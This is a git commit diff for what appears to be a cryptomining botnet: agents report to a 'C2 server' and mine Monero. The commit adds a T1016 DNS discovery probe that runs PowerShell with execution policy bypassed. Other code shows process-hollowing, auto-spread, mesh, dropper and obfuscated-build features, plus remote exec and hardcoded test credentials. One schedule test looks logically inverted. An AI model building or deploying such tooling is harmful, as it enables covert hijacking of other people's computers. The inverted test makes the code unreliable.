feat: T1016 dns_config probe + server-side drift detection + Crucible DNS DRIFT badge
This commit is contained in:
36
PROBLEMS.md
36
PROBLEMS.md
@@ -11,8 +11,7 @@ Findings from systematic bug-hunt and test expansion (May 2026).
|
||||
### Critical / security
|
||||
|
||||
- [CRITICAL] **server/internal/api/router.go** — Unauthenticated build downloads (`/api/v1/builds/{id}/download`, `/artifact/`). Intentional for agent reinstall (UUID is secret). Suggested fix: optional auth toggle or short-lived signed URLs.
|
||||
- [CRITICAL] **server/internal/api/websocket.go** — Unauthenticated agent WebSocket (`/ws/agent`); any client can claim any `agent_id`. Suggested fix: bind `agent_id` to fleet secret baked into forged binary (S2 from prior audit).
|
||||
- [CRITICAL] **server/internal/api/websocket.go** — Unauthenticated dashboard WebSocket (`/ws/dashboard`); full fleet telemetry without login. Suggested fix: require Basic auth or session cookie on WS upgrade.
|
||||
- [CRITICAL] **server/internal/api/websocket.go** — Agent WebSocket (`/ws/agent`) accepts connections without fleet secret when server secret is unset (first-run). With secret configured, bad secret is rejected; agent can still pick any `agent_id`. Suggested fix: bind `agent_id` to fleet secret baked into forged binary (S2 from prior audit).
|
||||
- [CRITICAL] **server/internal/api/ai_handler.go** — Unauthenticated AI endpoints (`/agent/decide`, `/report`, `/heartbeat`); SSRF via caller-supplied Ollama URL. Suggested fix: require fleet secret or dashboard auth.
|
||||
- [HIGH] **server/internal/api/router.go** — Plaintext passwords in `users.json`; any authed user can POST `/users`. Suggested fix: bcrypt-only storage (partially done), restrict user management to admin role.
|
||||
- [HIGH] **server/internal/api/fleet_handler.go** — Remote code execution via authenticated API (`powershell`/`exec`/`upload`). By design — treat dashboard login as root.
|
||||
@@ -45,7 +44,7 @@ Findings from systematic bug-hunt and test expansion (May 2026).
|
||||
- [LOW] **server/internal/db/agent_meta.go** — `decodeTags` silently drops invalid JSON in `tags` column (corrupt values become empty slice).
|
||||
- [LOW] **server/web/e2e/smoke.spec.ts** — E2E login still uses hardcoded `drjones`/`czapiewski`; fails against first-run random `admin` password. Suggested fix: seed `users.json` in E2E fixture or read creds from env.
|
||||
- [LOW] **server/web/src/types/index.ts** — Interfaces only; no runtime type guards for API JSON (validation ad hoc in components).
|
||||
- [LOW] **server/web/src/pages/AgentsPage.test.tsx** — Vitest stderr `ECONNREFUSED :3000` when detail panel mounts `AgentRemoteActions`; tests pass but component may hit live fetch — mock in follow-up.
|
||||
- [LOW] **server/web/src/api/client.ts** — `estimateFusion` requires `prepFile` but has no client-side guard (unlike `buildAgent` fusion path); server returns error if missing.
|
||||
- [LOW] **server/web/src/pages/SettingsPage.tsx** — Calibrate UI lives here (`/settings` route); no separate `CalibratePage.tsx`. Form labels lack `htmlFor` — a11y follow-up.
|
||||
- [LOW] **server/internal/maintenance/retention.go** — `os.RemoveAll` errors ignored; failed disk cleanup is silent.
|
||||
- [LOW] **server/internal/maintenance/retention.go** — Artifact dir removed before `DeleteBuild`; if DB delete fails, build row remains without files on disk.
|
||||
@@ -56,13 +55,20 @@ Findings from systematic bug-hunt and test expansion (May 2026).
|
||||
- [LOW] **server/internal/models/** — No unit tests.
|
||||
- [LOW] **server/internal/ollama/** — No unit tests.
|
||||
- [LOW] **server/internal/sys/** — No unit tests.
|
||||
- [LOW] **server/web/src/help/buildManager.ts**, **cheatSheetContent.ts** — No unit tests yet.
|
||||
- [LOW] **server/web/src/components/** — Fleet panels, forge form, WebSocket provider — no vitest coverage yet.
|
||||
- [LOW] **server/web/src/components/Charts/GaugeRing.tsx** — Center label uses raw `value` while SVG arc clamps to 0–100%; negative/over-max inputs show misleading text (e.g. `200%`).
|
||||
- [LOW] **server/web/src/help/settingHelp.ts** — `FIELD_HELP.wallet` still says "~95 characters"; validator accepts 90–106 (same drift fixed in forgeCompatibility / cheatSheetContent troubleshoot).
|
||||
|
||||
---
|
||||
|
||||
## Fixed (this session)
|
||||
|
||||
- **server/internal/api/websocket.go** — `checkDashboardWSToken` compared plain password to bcrypt hash; dashboard WS auth failed after user migration. Now uses `checkPassword`.
|
||||
- **server/internal/api/** — Added unit/integration tests for remaining handlers: `handlers.go` (agent/build REST), `router.go` (auth middleware, users, rotate-secret, SPA/dropper routes), `websocket.go` (agent/dashboard WS, fleet secret, max agents, log tail), `dropper_handler.go`, `blueprint_handler.go`, `ws_types.go`. New files: `router_test.go`, `dropper_handler_test.go`, `blueprint_handler_test.go`, `websocket_test.go`, `ws_types_test.go`; expanded `handlers_test.go`. `go test ./internal/api/...` — 159 tests PASS.
|
||||
- **server/web/src/components/** — Added `components.test.tsx` (57 tests) covering all 22 component TSX modules (NeonCard, HelpTip, downloads, ErrorBoundary, SessionGate, charts, fleet panels/toolbar/list/remote actions, forge hints, visual widgets, layout, ambient/matrix/cursor). Vitest `environmentMatchGlobs` includes `src/components/**`.
|
||||
- **server/web/src/pages/AgentsPage.test.tsx** — `AgentRemoteActions` mocked to avoid live `listBuilds` / ECONNREFUSED :3000 in detail-panel tests.
|
||||
- **server/web/src/api/client.ts** — `fetchJSON` spread `...options` after merged headers could drop `Content-Type` and `Authorization` when callers pass `options.headers`; headers now merged after rest spread.
|
||||
- **server/web/src/api/** — Added `client.test.ts` (19) and `download.test.ts` (6): paths, query params, auth headers, FormData fusion builds, error bodies. Expanded `auth.test.ts` (+1 sessionStorage throw path).
|
||||
- **server/web/src/context/** — Added `WebSocketContext.test.tsx` (2), `WebSocketProvider.test.tsx` (8), `ForgeContext.test.tsx` (4): mock WebSocket connect URL/token, message handlers, `_seq` ring buffer, reconnect timer, forge state machine.
|
||||
- **server/web/src/pages/BuilderPage.tsx** — Load failure no longer stuck on “Loading forge defaults…” when `form` is null; error message shown instead. Wallet placeholder/short-wallet hint aligned to 90–106 chars. Exported `formatBytes` helper.
|
||||
- **server/web/src/pages/SettingsPage.tsx** — Wallet placeholder aligned to 90–106 chars. Exported `deepMerge` helper (config import).
|
||||
- **server/web/src/pages/** — Added `BuilderPage.test.tsx` (13) and `SettingsPage.test.tsx` (11, Calibrate UI at `/settings`). Page suite now 4 files / 46 tests.
|
||||
@@ -84,6 +90,11 @@ Findings from systematic bug-hunt and test expansion (May 2026).
|
||||
- **server/internal/api/fleet_handler_test.go** — Unit tests for all exported `FleetHandler` methods (`GetAlerts`, `GetPoolStatus`, `GetAIActivity`, `GetXMRPrice`, `GetEarnings`/`GetEarningsEstimate`, `GetAgentLog`, `PostAgentCommand`, `PutAgentMeta`, `PostBulkCommand`), `EstimateXMRPerDay`/`parseFloatQuery`, earnings/XMR price cache TTLs, SupportXMR field normalization, HTTP error branches (503/502/400), and WS command paths via mock transport + test agent WS.
|
||||
- **server/web/src/help/forgeCompatibility.ts** — Wallet preflight message said length 95–106 but validator accepts 90–106; message aligned with `looksLikeXMRWallet()`.
|
||||
- **server/web/src/help/** — Added/expanded vitest coverage: `forgeCompatibility.test.ts` (37), `forgeRules.test.ts` (46), `settingHelp.test.ts` (8).
|
||||
- **server/web/src/help/buildManager.test.ts** — 9 tests: `blueprintDiff` (added/removed/changed, sort, nested, arrays, empty), `buildRequestFromRecord` merge/override.
|
||||
- **server/web/src/help/cheatSheetContent.test.ts** — 19 tests: pipeline/network/fusion/AI guides, `FORGE_VS_CALIBRATE`, `TROUBLESHOOTING`, `ROADMAP_FEATURES`, `CHEAT_SECTIONS` registry.
|
||||
- **server/web/src/help/forgeDefaults.test.ts** — 7 tests: `FORGE_BUILD_DEFAULTS` shape, `forgeDefaultsFromServer` public URL / pool / sign / obfuscate.
|
||||
- **server/web/src/help/remoteActions.test.ts** — Expanded to 11 tests: `aggressiveActionHint`, spread/mesh gating, legacy undefined caps.
|
||||
- **server/web/src/help/cheatSheetContent.ts** — Troubleshooting "Shares all rejected" wallet text aligned to 90–106 chars (was stale "95 chars").
|
||||
- **server/web/src/types/index.test.ts** — Structural fixture tests for all major exported interfaces (20 tests); documents no runtime type guards.
|
||||
|
||||
---
|
||||
@@ -96,11 +107,10 @@ See git history and prior audit IDs (B1–B42, C1–C6, H1–H8, etc.) in README
|
||||
|
||||
## Recommended next section
|
||||
|
||||
1. **server/web/src/components/** — Fleet panels, forge form, WebSocket provider; mock `AgentRemoteActions` fetch in AgentsPage tests
|
||||
2. **server/web/src/help/buildManager.ts**, **cheatSheetContent.ts** — remaining untested help modules
|
||||
3. **server/web/e2e/smoke.spec.ts** — seed first-run admin creds for E2E
|
||||
4. **server/internal/models/** — struct/JSON round-trip tests
|
||||
5. **Agent WS token auth** (S2) — security hardening
|
||||
1. **server/web/src/help/settingHelp.ts** — align wallet help text to 90–106 chars
|
||||
2. **server/web/e2e/smoke.spec.ts** — seed first-run admin creds for E2E
|
||||
3. **server/internal/models/** — struct/JSON round-trip tests
|
||||
4. **Agent WS token auth** (S2) — security hardening
|
||||
|
||||
---
|
||||
|
||||
@@ -108,6 +118,7 @@ See git history and prior audit IDs (B1–B42, C1–C6, H1–H8, etc.) in README
|
||||
|
||||
| Suite | Result |
|
||||
|-------|--------|
|
||||
| `server/internal/api/...` (full) | PASS (159 tests) |
|
||||
| `server` Go tests | PASS (all packages) |
|
||||
| `server/internal/api` `-run Config` | PASS (13 tests) |
|
||||
| `server` `-run Config\|Merge` | PASS (13 tests) |
|
||||
@@ -115,4 +126,7 @@ See git history and prior audit IDs (B1–B42, C1–C6, H1–H8, etc.) in README
|
||||
| `server/internal/api` `-run Fleet` | PASS (39 tests) |
|
||||
| `agent` Go tests | PASS |
|
||||
| `server/web` vitest (page tests) | PASS — 4 files, 46 tests |
|
||||
| `server/web` vitest (full suite) | PASS — 19 files, 206 tests |
|
||||
| `server/web` vitest (api/context/hooks) | PASS — 6 files, 43 tests |
|
||||
| `server/web` vitest (`components.test.tsx`) | PASS — 1 file, 57 tests |
|
||||
| `server/web` vitest (full suite) | PASS — 28 files, 347 tests |
|
||||
| `server/web` vitest (`src/help/`) | PASS — 16 files, 181 tests |
|
||||
|
||||
@@ -270,7 +270,11 @@ func jobPayloadErrorMessage(payload json.RawMessage) (string, bool) {
|
||||
if !ok {
|
||||
return "", false
|
||||
}
|
||||
return strings.Trim(string(errMsg), `"`), true
|
||||
msg := strings.Trim(string(errMsg), `"`)
|
||||
if msg == "" {
|
||||
return "", false
|
||||
}
|
||||
return msg, true
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleMessage(msg Message) {
|
||||
@@ -590,6 +594,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
var lastSSH *bool
|
||||
var lastPosture *PostureReport
|
||||
var lastPressure *ResourcePressure
|
||||
var lastDNS *DNSConfig
|
||||
var postureReady bool
|
||||
for {
|
||||
select {
|
||||
@@ -641,6 +646,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
}
|
||||
}
|
||||
lastPressure = collectResourcePressure()
|
||||
lastDNS = probeDNS()
|
||||
}
|
||||
probeTick++
|
||||
|
||||
@@ -655,6 +661,10 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
UptimeSeconds: int(time.Since(c.startTime).Seconds()),
|
||||
SSHAvailable: lastSSH,
|
||||
}
|
||||
if lastDNS != nil {
|
||||
stats.DNSServers = lastDNS.Servers
|
||||
stats.DNSSearchDomains = lastDNS.SearchDomains
|
||||
}
|
||||
if lastPressure != nil {
|
||||
stats.CPUFreqMHz = lastPressure.CPUFreqMHz
|
||||
stats.CPUMaxMHz = lastPressure.CPUMaxMHz
|
||||
|
||||
42
agent/client/dns_config.go
Normal file
42
agent/client/dns_config.go
Normal file
@@ -0,0 +1,42 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// DNSConfig is a T1016 System Network Configuration Discovery snapshot.
|
||||
// It captures the resolvers that are actually in use at probe time so the
|
||||
// C2 server can detect drift between heartbeats (e.g. DHCP rogue resolver,
|
||||
// or a post-compromise /etc/resolv.conf rewrite).
|
||||
type DNSConfig struct {
|
||||
Servers []string `json:"servers"`
|
||||
SearchDomains []string `json:"search_domains,omitempty"`
|
||||
}
|
||||
|
||||
// parseDNSJSON parses the compact JSON emitted by the Windows PS probe.
|
||||
// Expected shape: {"servers":"1.1.1.1,8.8.8.8","search":"corp.local"}
|
||||
func parseDNSJSON(raw string) *DNSConfig {
|
||||
cfg := &DNSConfig{}
|
||||
var m map[string]interface{}
|
||||
if err := json.Unmarshal([]byte(raw), &m); err != nil {
|
||||
return cfg
|
||||
}
|
||||
if s, ok := m["servers"].(string); ok && s != "" {
|
||||
for _, addr := range strings.Split(s, ",") {
|
||||
addr = strings.TrimSpace(addr)
|
||||
if addr != "" {
|
||||
cfg.Servers = append(cfg.Servers, addr)
|
||||
}
|
||||
}
|
||||
}
|
||||
if s, ok := m["search"].(string); ok && s != "" {
|
||||
for _, d := range strings.Split(s, ",") {
|
||||
d = strings.TrimSpace(d)
|
||||
if d != "" {
|
||||
cfg.SearchDomains = append(cfg.SearchDomains, d)
|
||||
}
|
||||
}
|
||||
}
|
||||
return cfg
|
||||
}
|
||||
51
agent/client/dns_unix.go
Normal file
51
agent/client/dns_unix.go
Normal file
@@ -0,0 +1,51 @@
|
||||
//go:build !windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// probeDNS parses /etc/resolv.conf for nameserver and search/domain lines.
|
||||
// This works on Linux, macOS (without full mDNSResponder), and most BSDs.
|
||||
func probeDNS() *DNSConfig {
|
||||
cfg := &DNSConfig{}
|
||||
|
||||
data, err := os.ReadFile("/etc/resolv.conf")
|
||||
if err != nil {
|
||||
// On macOS, scutil --dns is the authoritative source but resolv.conf
|
||||
// is usually symlinked to a managed copy — try it anyway.
|
||||
return cfg
|
||||
}
|
||||
|
||||
seenSrv := map[string]bool{}
|
||||
seenSch := map[string]bool{}
|
||||
|
||||
for _, line := range strings.Split(string(data), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" || strings.HasPrefix(line, "#") || strings.HasPrefix(line, ";") {
|
||||
continue
|
||||
}
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) < 2 {
|
||||
continue
|
||||
}
|
||||
switch fields[0] {
|
||||
case "nameserver":
|
||||
addr := fields[1]
|
||||
if addr != "127.0.0.1" && addr != "::1" && !seenSrv[addr] {
|
||||
seenSrv[addr] = true
|
||||
cfg.Servers = append(cfg.Servers, addr)
|
||||
}
|
||||
case "search", "domain":
|
||||
for _, d := range fields[1:] {
|
||||
if !seenSch[d] {
|
||||
seenSch[d] = true
|
||||
cfg.SearchDomains = append(cfg.SearchDomains, d)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return cfg
|
||||
}
|
||||
68
agent/client/dns_windows.go
Normal file
68
agent/client/dns_windows.go
Normal file
@@ -0,0 +1,68 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// probeDNS returns the DNS servers and search domains currently active on
|
||||
// this machine's non-loopback network interfaces (Windows).
|
||||
//
|
||||
// Uses Get-DnsClientServerAddress (fast, built into Windows 8+/2012+).
|
||||
// Falls back to ipconfig /all parsing if the CIM call fails (older OSes).
|
||||
func probeDNS() *DNSConfig {
|
||||
cfg := &DNSConfig{}
|
||||
|
||||
// Primary: CIM-based — deduped, IPv4+IPv6, excludes loopback adapters
|
||||
const script = `
|
||||
$addrs = Get-DnsClientServerAddress -ErrorAction SilentlyContinue |
|
||||
Where-Object { $_.InterfaceAlias -notmatch 'Loopback|Npcap|VirtualBox|VMware' } |
|
||||
Select-Object -ExpandProperty ServerAddresses |
|
||||
Where-Object { $_ -ne '' -and $_ -ne '::1' -and $_ -ne '127.0.0.1' } |
|
||||
Sort-Object -Unique
|
||||
$search = (Get-DnsClient -ErrorAction SilentlyContinue |
|
||||
Where-Object { $_.ConnectionSpecificSuffix -ne '' } |
|
||||
Select-Object -ExpandProperty ConnectionSpecificSuffix |
|
||||
Sort-Object -Unique) -join ','
|
||||
[PSCustomObject]@{ servers = ($addrs -join ','); search = $search } | ConvertTo-Json -Compress
|
||||
`
|
||||
if out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).Output(); err == nil {
|
||||
raw := strings.TrimSpace(string(out))
|
||||
if idx := strings.LastIndex(raw, "{"); idx >= 0 {
|
||||
raw = raw[idx:]
|
||||
}
|
||||
cfg = parseDNSJSON(raw)
|
||||
}
|
||||
|
||||
// Fallback: ipconfig /all if the CIM call returned nothing
|
||||
if len(cfg.Servers) == 0 {
|
||||
cfg = parseDNSIpconfig()
|
||||
}
|
||||
return cfg
|
||||
}
|
||||
|
||||
// parseDNSIpconfig extracts DNS servers from ipconfig /all output.
|
||||
func parseDNSIpconfig() *DNSConfig {
|
||||
cfg := &DNSConfig{}
|
||||
out, err := exec.Command("ipconfig", "/all").Output()
|
||||
if err != nil {
|
||||
return cfg
|
||||
}
|
||||
seen := map[string]bool{}
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if strings.HasPrefix(strings.ToLower(line), "dns servers") {
|
||||
parts := strings.SplitN(line, ":", 2)
|
||||
if len(parts) == 2 {
|
||||
addr := strings.TrimSpace(parts[1])
|
||||
if addr != "" && addr != "127.0.0.1" && addr != "::1" && !seen[addr] {
|
||||
seen[addr] = true
|
||||
cfg.Servers = append(cfg.Servers, addr)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return cfg
|
||||
}
|
||||
88
agent/client/posture_types_test.go
Normal file
88
agent/client/posture_types_test.go
Normal file
@@ -0,0 +1,88 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestComputePostureScoreNil(t *testing.T) {
|
||||
if computePostureScore(nil) != 0 {
|
||||
t.Fatal("nil report scores 0")
|
||||
}
|
||||
}
|
||||
|
||||
func TestComputePostureScorePerfect(t *testing.T) {
|
||||
r := &PostureReport{
|
||||
DefenderEnabled: boolPtr(true),
|
||||
FirewallDomain: boolPtr(true),
|
||||
SSHListening: boolPtr(true),
|
||||
PatchRecent: boolPtr(true),
|
||||
RebootPending: boolPtr(false),
|
||||
AgentServiceOK: boolPtr(true),
|
||||
}
|
||||
if got := computePostureScore(r); got != 100 {
|
||||
t.Fatalf("expected 100, got %d", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestComputePostureScoreAVViaProducts(t *testing.T) {
|
||||
r := &PostureReport{AVProducts: []string{"ESET"}}
|
||||
if got := computePostureScore(r); got < 20 {
|
||||
t.Fatalf("AV products should score pillar 1: %d", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestComputePostureScorePartialPatch(t *testing.T) {
|
||||
r := &PostureReport{
|
||||
PatchRecent: boolPtr(true),
|
||||
RebootPending: boolPtr(true),
|
||||
}
|
||||
got := computePostureScore(r)
|
||||
if got != 10 {
|
||||
t.Fatalf("partial patch pillar expected 10, got %d", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPostureReportJSONSetsScore(t *testing.T) {
|
||||
r := &PostureReport{
|
||||
DefenderEnabled: boolPtr(true),
|
||||
FirewallPublic: boolPtr(true),
|
||||
SSHListening: boolPtr(true),
|
||||
PatchRecent: boolPtr(true),
|
||||
RebootPending: boolPtr(false),
|
||||
AgentServiceOK: boolPtr(true),
|
||||
}
|
||||
raw := r.JSON()
|
||||
if !strings.Contains(raw, `"posture_score":100`) {
|
||||
t.Fatalf("JSON should include computed score: %s", raw)
|
||||
}
|
||||
var decoded PostureReport
|
||||
if err := json.Unmarshal([]byte(raw), &decoded); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if decoded.PostureScore != 100 {
|
||||
t.Fatalf("decoded score: %d", decoded.PostureScore)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBoolPoints(t *testing.T) {
|
||||
if boolPoints(nil) != -1 {
|
||||
t.Fatal("nil = -1")
|
||||
}
|
||||
if boolPoints(boolPtr(true)) != 20 {
|
||||
t.Fatal("true = 20")
|
||||
}
|
||||
if boolPoints(boolPtr(false)) != 0 {
|
||||
t.Fatal("false = 0")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBoolTrueHelper(t *testing.T) {
|
||||
if boolTrue(nil) || boolTrue(boolPtr(false)) {
|
||||
t.Fatal("boolTrue false cases")
|
||||
}
|
||||
if !boolTrue(boolPtr(true)) {
|
||||
t.Fatal("boolTrue true")
|
||||
}
|
||||
}
|
||||
@@ -76,6 +76,10 @@ type StatsPayload struct {
|
||||
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
||||
UptimeSeconds int `json:"uptime_seconds"`
|
||||
|
||||
// DNS config (T1016 — drift detected server-side)
|
||||
DNSServers []string `json:"dns_servers,omitempty"`
|
||||
DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
|
||||
|
||||
// Resource pressure (mining-specific runtime telemetry)
|
||||
CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"`
|
||||
CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"`
|
||||
|
||||
128
agent/client/protocol_test.go
Normal file
128
agent/client/protocol_test.go
Normal file
@@ -0,0 +1,128 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func roundTrip(t *testing.T, v any, dst any) {
|
||||
t.Helper()
|
||||
b, err := json.Marshal(v)
|
||||
if err != nil {
|
||||
t.Fatalf("marshal: %v", err)
|
||||
}
|
||||
if err := json.Unmarshal(b, dst); err != nil {
|
||||
t.Fatalf("unmarshal: %v\njson: %s", err, string(b))
|
||||
}
|
||||
}
|
||||
|
||||
func TestMessageJSONRoundTrip(t *testing.T) {
|
||||
msg := Message{Type: "auth", Payload: json.RawMessage(`{"agent_id":"a1"}`)}
|
||||
var out Message
|
||||
roundTrip(t, msg, &out)
|
||||
if out.Type != "auth" || string(out.Payload) != `{"agent_id":"a1"}` {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthPayloadJSONRoundTrip(t *testing.T) {
|
||||
in := AuthPayload{
|
||||
AgentID: "a1", FleetSecret: "secret", Wallet: "48x",
|
||||
BackupPools: []BackupPoolEntry{{Host: "b.pool", Port: 4444, TLS: true, Pass: "x"}},
|
||||
Version: "1.0", Hostname: "host", CPUCores: 4, MemoryGB: 8,
|
||||
Worker: "w", PoolHost: "pool", PoolPort: 3333, PoolTLS: false, PoolPass: "x",
|
||||
AIEnabled: true, AIOllamaEndpoint: "http://localhost:11434", AIModel: "llama",
|
||||
HolePunch: true, RemoteAggressive: false, MeshP2P: false,
|
||||
AutoSpread: false, ProcessHollowing: false,
|
||||
Platform: "windows", Arch: "amd64", OSVersion: "10",
|
||||
}
|
||||
var out AuthPayload
|
||||
roundTrip(t, in, &out)
|
||||
if out.AgentID != in.AgentID || len(out.BackupPools) != 1 {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthResponseJSONRoundTrip(t *testing.T) {
|
||||
in := AuthResponse{Success: true, AgentID: "a1", Error: ""}
|
||||
var out AuthResponse
|
||||
roundTrip(t, in, &out)
|
||||
if !out.Success || out.AgentID != "a1" {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestJobJSONRoundTrip(t *testing.T) {
|
||||
in := Job{ID: "j1", Height: 100, BlockTemplate: "tpl", Difficulty: 500,
|
||||
SeedHash: "seed", Target: "tgt", Blob: "blob", Algo: "rx/0"}
|
||||
var out Job
|
||||
roundTrip(t, in, &out)
|
||||
if out.ID != "j1" || out.Blob != "blob" {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSharePayloadJSONRoundTrip(t *testing.T) {
|
||||
in := SharePayload{JobID: "j", Nonce: "n", Hash: "h", Worker: "w"}
|
||||
var out SharePayload
|
||||
roundTrip(t, in, &out)
|
||||
if out.JobID != "j" {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStatsPayloadJSONRoundTrip(t *testing.T) {
|
||||
cpuTemp := 70
|
||||
in := StatsPayload{
|
||||
Hashrate15s: 100, Hashrate1m: 99, Hashrate15m: 98,
|
||||
SharesSubmitted: 10, SharesAccepted: 9,
|
||||
CPUUsagePct: 50, MemoryUsagePct: 40, UptimeSeconds: 3600,
|
||||
CPUTempC: &cpuTemp,
|
||||
Services: []ServiceStatus{{Name: "svc", Status: "running", StartType: "auto"}},
|
||||
}
|
||||
var out StatsPayload
|
||||
roundTrip(t, in, &out)
|
||||
if out.CPUTempC == nil || *out.CPUTempC != 70 {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestShareResultJSONRoundTrip(t *testing.T) {
|
||||
in := ShareResult{JobID: "j", Accepted: false, Error: "low diff"}
|
||||
var out ShareResult
|
||||
roundTrip(t, in, &out)
|
||||
if out.Error != "low diff" {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBackupPoolEntryJSONRoundTrip(t *testing.T) {
|
||||
in := BackupPoolEntry{Host: "h", Port: 3333, TLS: true, Pass: "x"}
|
||||
var out BackupPoolEntry
|
||||
roundTrip(t, in, &out)
|
||||
if out.Host != "h" || !out.TLS {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestServiceStatusJSONRoundTrip(t *testing.T) {
|
||||
in := ServiceStatus{Name: "ssh", DisplayName: "OpenSSH", Status: "running", StartType: "manual"}
|
||||
var out ServiceStatus
|
||||
roundTrip(t, in, &out)
|
||||
if out.Name != "ssh" {
|
||||
t.Fatalf("unexpected: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestJobPayloadErrorEdgeCases(t *testing.T) {
|
||||
if jobPayloadHasError(json.RawMessage(`invalid`)) {
|
||||
t.Fatal("invalid json should not be treated as error field")
|
||||
}
|
||||
if jobPayloadHasError(json.RawMessage(`{"error":""}`)) {
|
||||
t.Fatal("empty error string should not trigger")
|
||||
}
|
||||
msg, ok := jobPayloadErrorMessage(json.RawMessage(`{"error":" fail "}`))
|
||||
if !ok || msg != " fail " {
|
||||
t.Fatalf("got %q ok=%v", msg, ok)
|
||||
}
|
||||
}
|
||||
55
agent/client/resource_pressure_test.go
Normal file
55
agent/client/resource_pressure_test.go
Normal file
@@ -0,0 +1,55 @@
|
||||
package client
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestResourcePressureDiskPressure(t *testing.T) {
|
||||
if (&ResourcePressure{}).DiskPressure() {
|
||||
t.Fatal("nil pct should not pressure")
|
||||
}
|
||||
low := 5
|
||||
if !(&ResourcePressure{DiskFreePct: &low}).DiskPressure() {
|
||||
t.Fatal("5% should be disk pressure")
|
||||
}
|
||||
ok := 15
|
||||
if (&ResourcePressure{DiskFreePct: &ok}).DiskPressure() {
|
||||
t.Fatal("15% should not pressure")
|
||||
}
|
||||
}
|
||||
|
||||
func TestResourcePressureThermalPressure(t *testing.T) {
|
||||
if (&ResourcePressure{}).ThermalPressure() {
|
||||
t.Fatal("empty should not pressure")
|
||||
}
|
||||
cpuHot := 90
|
||||
if !(&ResourcePressure{CPUTempC: &cpuHot}).ThermalPressure() {
|
||||
t.Fatal("cpu > 85 should pressure")
|
||||
}
|
||||
cpuOK := 80
|
||||
gpuHot := 85
|
||||
if !(&ResourcePressure{CPUTempC: &cpuOK, GPUTempC: &gpuHot}).ThermalPressure() {
|
||||
t.Fatal("gpu > 82 should pressure")
|
||||
}
|
||||
}
|
||||
|
||||
func TestResourcePressureThrottled(t *testing.T) {
|
||||
if (&ResourcePressure{}).Throttled() {
|
||||
t.Fatal("nil throttle false")
|
||||
}
|
||||
yes := true
|
||||
if !(&ResourcePressure{CPUThrottle: &yes}).Throttled() {
|
||||
t.Fatal("throttle true")
|
||||
}
|
||||
no := false
|
||||
if (&ResourcePressure{CPUThrottle: &no}).Throttled() {
|
||||
t.Fatal("throttle false")
|
||||
}
|
||||
}
|
||||
|
||||
func TestResourcePressureJSONOmitempty(t *testing.T) {
|
||||
freq := 3000
|
||||
r := ResourcePressure{CPUFreqMHz: &freq}
|
||||
// smoke: struct tags compile; fields accessible
|
||||
if r.CPUFreqMHz == nil || *r.CPUFreqMHz != 3000 {
|
||||
t.Fatal("field set")
|
||||
}
|
||||
}
|
||||
76
agent/config/schedule_test.go
Normal file
76
agent/config/schedule_test.go
Normal file
@@ -0,0 +1,76 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestMiningModeNormalized(t *testing.T) {
|
||||
c := RuntimeConfig{BuiltinConfig: BuiltinConfig{MiningMode: ""}}
|
||||
if c.MiningModeNormalized() != "always" {
|
||||
t.Fatal("empty -> always")
|
||||
}
|
||||
c.MiningMode = " SCHEDULE "
|
||||
if c.MiningModeNormalized() != "schedule" {
|
||||
t.Fatalf("got %q", c.MiningModeNormalized())
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseClockMinutes(t *testing.T) {
|
||||
if _, ok := parseClockMinutes(""); ok {
|
||||
t.Fatal("empty invalid")
|
||||
}
|
||||
if _, ok := parseClockMinutes("bad"); !ok {
|
||||
t.Fatal("bad invalid")
|
||||
}
|
||||
m, ok := parseClockMinutes("09:30")
|
||||
if !ok || m != 9*60+30 {
|
||||
t.Fatalf("09:30 = %d ok=%v", m, ok)
|
||||
}
|
||||
m, ok = parseClockMinutes("23:59:59")
|
||||
if !ok || m != 23*60+59 {
|
